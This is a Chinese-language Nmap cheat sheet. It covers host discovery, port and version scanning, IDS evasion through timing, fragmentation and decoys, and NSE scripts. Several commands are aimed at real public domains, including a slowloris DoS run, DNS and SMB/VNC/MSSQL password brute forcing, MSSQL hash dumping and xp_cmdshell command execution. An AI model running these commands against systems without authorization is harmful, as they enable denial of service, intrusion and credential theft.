Nmap介绍:
是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。最新版的Nmap6.0在2012年5月21日发布,详情请参见:www.nmap.org。
一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
Nmap优点:
1. 灵活。支持数十种不同的扫描方式,支持多种目标对象的扫描。
2. 强大。Nmap可以用于扫描互联网上大规模的计算机。
3. 可移植。支持主流操作系统:Windows/Linux/Unix/MacOS等等;源码开放,方便移植。
4. 简单。提供默认的操作能覆盖大部分功能,基本端口扫描nmap targetip,全面的扫描nmap –A targetip。
5. 自由。Nmap作为开源软件,在GPL License的范围内可以自由的使用。
6. 文档丰富。Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍。
7. 社区支持。Nmap背后有强大的社区团队支持。
8. 赞誉有加。获得很多的奖励,并在很多影视作品中出现(如黑客帝国2、Die Hard4等)。
9. 流行。目前Nmap已经被成千上万的安全专家列为必备的工具之一。
Nmap功能:
主机发现(Host Discovery)
端口扫描(Port Scanning)
版本侦测(Version Detection)
操作系统侦测(Operating System Detection)
Nmap常用命令:
1.批量Ping探测: -sP
参数,用来批量扫描一个网段的主机存活数,这里的结果只会显示在线的主机.
[root@localhost ~]# nmap -sP 192.168.1.0/24 > scan.log
[root@localhost ~]# cat scan.log | grep "Nmap scan" | awk '{print $5}'
2.跳过Ping探测: 有些主机关闭了ping检测,所以可以使用-P0
跳过ping的探测,这样可加快扫描速度.
[root@localhost ~]# nmap -P0 192.168.1.7
3.计算网段主机IP: 仅列出指定网段上的每台主机,不发送任何报文到目标主机.
[root@localhost ~]# nmap -sL 192.168.1.0/24 > scan.log
[root@localhost ~]# cat scan.log | grep "Nmap scan" | awk '{print $5}'
4.扫描在线主机: 扫描一个网段的在线主机列表,功能类似于批量ping检测存活主机.
[root@localhost ~]# nmap -sn 27.201.193.0/24
[root@localhost ~]# cat scan.log | grep "Nmap scan" | awk '{print $5}'
5.扫描IP地址范围: 指定探测的网段,看是否在线.
[root@localhost ~]# nmap -sP 192.168.1.1-10
[root@localhost ~]# nmap -sP 27.201.193.100-200
6.探测开放端口(TCP/UDP): 探测目标主机开放的端口,可指定一个以逗号分隔的端口列表,如(-pS22,443,80)
.
[root@localhost ~]# nmap -pS22,80,443 192.168.1.10 // TCP探测
[root@localhost ~]# nmap -pU22,80,443 192.168.1.10 // UDP探测
[root@localhost ~]# nmap -p smtp,http,https 192.168.1.10
7.探测主机(SYN/TCP/UDP)扫描: SYN半开放扫描,TCP开放扫描.
[root@localhost ~]# nmap -sS 192.168.1.10 //SYN扫描
[root@localhost ~]# nmap -sT 192.168.1.10 // tcp
[root@localhost ~]# nmap -sU 192.168.1.10 // UDP扫描
[root@localhost ~]# nmap -sA 192.168.1.10 // TCP ACK扫描
8.主机协议探测: IP协议扫描,可以确定目标机支持哪些IP协议(TCP, ICMP, IGMP).
[root@localhost ~]# nmap -sO 192.168.1.10 | grep '^[0-9]'
1 open icmp
6 open tcp
7 open udp
9.探测目标系统: 扫描探测目标主机操作系统,这里结果仅供参考有时候并不准确.
[root@localhost ~]# nmap -O 192.168.1.10 | grep "Running:"
Running: Microsoft Windows 2000 | XP
10.探测服务版本: 用于扫描目标主机服务的具体版本号.
[root@localhost ~]# nmap -sV 192.168.1.10 | grep '^[0-9]'
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
3306/tcp open mysql MySQL 5.5.53
139/tcp open netbios-ssn
443/tcp open ssl/http VMware VirtualCenter Web service
445/tcp closed microsoft-ds
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
11.跟踪报文(tracert): 跟踪发送和接收报文的数据流向.
[root@localhost ~]# nmap --packet-trace 192.168.1.10
SENT (4.7014s) TCP 192.168.1.30:50000 > 192.168.1.10:3527 S
SENT (4.7100s) TCP 192.168.1.30:50000 > 192.168.1.10:4446 S
12.输出本机接口: 输出检测到的接口列表和系统路由
root@localhost ~]# nmap --iflist 192.168.1.10
13.扫描多台主机: 一次性扫描多台目标主机,与网段扫描不相同.
[root@localhost ~]# nmap -sP 192.168.1.10 192.168.1.20
[root@localhost ~]# nmap -sP 192.168.1.10 192.168.1.20 192.168.1.30
14.扫描时排除主机:
nmap 10.0.1.161-162 --exclude 10.0.1.162 // 排除单个主机
nmap 10.0.1.161-163 --exclude 10.0.1.162-163 // 排除连续主机
nmap 10.0.1.161-163 --exclude 10.0.1.161,10.0.1.163 //排除分散主机
nmap 10.0.1.161-163 --excludefile ex.txt // 排除文件里的主机
15.控制扫描时间: 调整探测报文的时间间隔,防止在单一主机上等待时间过长.
[root@localhost ~]# nmap --scan-delay 1 192.168.1.10
[root@localhost ~]# nmap --max-scan-delay 1 192.168.1.10 // 表示最多等待1秒
[root@localhost ~]# nmap --max-retries 1 192.168.1.10 // 数据包最多重传1次
16.输出指定格式: 通过相关选项,可以让Nmap输出指定的文件格式.
[root@localhost ~]# nmap -oX lyshark.xml 192.168.1.10 // 以XML格式输出扫描结果
[root@localhost ~]# nmap -oN lyshark.log 192.168.1.10 // 以标准格式输出到文本
[root@localhost ~]# nmap -oG lyshark.log 192.168.1.10 // 以Grep可识别的格式输出
17.导入扫描文件: 从一个文件中导入IP地址,并进行扫描.
[root@localhost ~]# cat lyshark.log
localhost
www.baidu.com
192.168.1.7
[root@localhost ~]# nmap -iL lyshark.log
防火墙的规避
18.规避IDS检测: 通过设置时间模板(<Paranoid=0|Sneaky=1)
的方式,来规避IDS的检测.
[root@localhost ~]# nmap -T0 192.168.1.10
[root@localhost ~]# nmap -T1 192.168.1.10
19.报文分段探测: 将TCP头分段在几个包中,使得包过滤器、IDS以及其它工具的检测更加困难.
[root@localhost ~]# nmap -f 192.168.1.10 // 自动分段
[root@localhost ~]# nmap --mtu 4/8/16 192.168.1.10 // 自定义分段,必须是4的倍数
20.使用诱饵绕过: 使用诱饵隐蔽扫描,此处也可用自己的真实IP作为诱饵.
[root@localhost ~]# nmap -D 192.168.1.1 192.168.1.10
使用扫描脚本
Nmap不仅用于端口扫描,服务检测,其还具有强大的脚本功能,利用Nmap Script
可以快速探测服务器,一般情况下,常用的扫描脚本会放在/usr/share/nmap/script
目录下,并且脚本扩招名为*.nse
后缀的,接下来将介绍最常用的扫描脚本.
扫描WEB敏感目录: 通过使用--script=http-enum.nse
可以扫描网站的敏感目录.
[root@localhost ~]# nmap -p 80 --script=http-enum.nse www.mkdirs.com
绕开鉴权: 负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令.
[root@localhost ~]# nmap --script=auth www.mkdirs.com
默认脚本扫描: 脚本扫描,主要是搜集各种应用服务的信息,收集到后可再针对具体服务进行攻击.
[root@localhost ~]# nmap --script=default www.mkdirs.com
检测常见漏洞: 通过使用--script=vuln
,可以扫描网站的常见漏洞,以及网页的目录结构.
[root@localhost ~]# nmap --script=vuln www.mkdirs.com
内网服务探测: 通过使用--script=broadcast
,可以实现在局域网内探查更多服务开启状况.
[root@localhost ~]# nmap -n -p445 --script=broadcast 127.0.0.1
进行WhoIS查询: 通过使用--script whois
模块,可以查询网站的简单信息.
[root@localhost ~]# nmap --script whois www.baidu.com
详细WhoIS解析: 利用第三方的数据库或资源,查询详细的WhoIS解析情况.
[root@localhost ~]# nmap --script external www.baidu.com
发现内网网关: 通过使用--script=broadcast-netbios-master-browser
可以发现内网网关的地址.
[root@localhost ~]# nmap --script=broadcast-netbios-master-browser 192.168.1.1
发现WEB中Robots文件: 通过使用--script=http-robots.txt.nse
可以检测到robots文件内容.
[root@localhost scripts]# nmap --script=http-robots.txt.nse www.baidu.com
检查WEB服务器时间: 检查web服务器的当前时间.
[root@localhost scripts]# nmap -p 443 --script http-date.nse www.baidu.com
执行DOS攻击: dos攻击,对于处理能力较小的站点还挺好用的.
[root@localhost ~]# nmap --script http-slowloris --max-parallelism 1000 www.mkdirs.com
Warning: Your max-parallelism (-M) option is extraordinarily high, which can hurt reliability
Starting Nmap 6.40 ( http://nmap.org ) at 2019-03-31 02:21 EDT
检查DNS子域: 检查目标ns服务器是否允许传送,如果能,直接把子域拖出来就好了.
[root@localhost scripts]# nmap -p 53 --script dns-zone-transfer.nse -v www.baidu.com
查询WEB旁站: 旁站查询,ip2hosts接口该接口似乎早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉.
[root@localhost scripts]# nmap -p80 --script hostmap-ip2hosts.nse www.baidu.com
口令爆破模块
暴力破解DNS记录: 这里以破解百度的域名为例子,由于内容较多这里简化显示.
[root@localhost scripts]# nmap --script=dns-brute.nse www.baidu.com
内网VNC扫描: 通过使用脚本,检查VNC版本等一些敏感信息.
[root@localhost ~]# nmap --script=realvnc-auth-bypass 127.0.0.1 #检查VNC版本
[root@localhost ~]# nmap --script=vnc-auth 127.0.0.1 #检查VNC认证方式
[root@localhost ~]# nmap --script=vnc-info 127.0.0.1 #获取VNC信息
[root@localhost ~]# nmap --script=vnc-brute.nse --script-args=userdb=/user.txt,passdb=/pass.txt 127.0.0.1 #暴力破解VNC密码
内网SMB扫描: 检查局域网中的Samba
服务器,以及对服务器的暴力破解.
[root@localhost ~]# nmap --script=smb-brute.nse 127.0.0.1 #简单尝试破解SMB服务
[root@localhost ~]# nmap --script=smb-check-vulns.nse --script-args=unsafe=1 127.0.0.1 #SMB已知几个严重漏
[root@localhost ~]# nmap --script=smb-brute.nse --script-args=userdb=/user.txt,passdb=/pass.txt 127.0.0.1 #通过传递字段文件,进行暴力破解
[root@localhost ~]# nmap -p445 -n --script=smb-psexec --script-args=smbuser=admin,smbpass=1233 127.0.0.1 #查询主机一些敏感信息:nmap_service
[root@localhost ~]# nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=admin,smbpass=1233 127.0.0.1 #查看会话
[root@localhost ~]# nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=admin,smbpass=1233 127.0.0.1 #查看系统信息
MSSQL扫描: 检查局域网中的SQL Server
服务器,以及对服务器的暴力破解.
[root@localhost ~]# nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 127.0.0.1 #暴力破解MSSQL密码
[root@localhost ~]# nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 127.0.0.1 #dumphash值
[root@localhost ~]# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4 xp_cmdshell #执行命令
关于Nmap的命令还有很多...常见参数: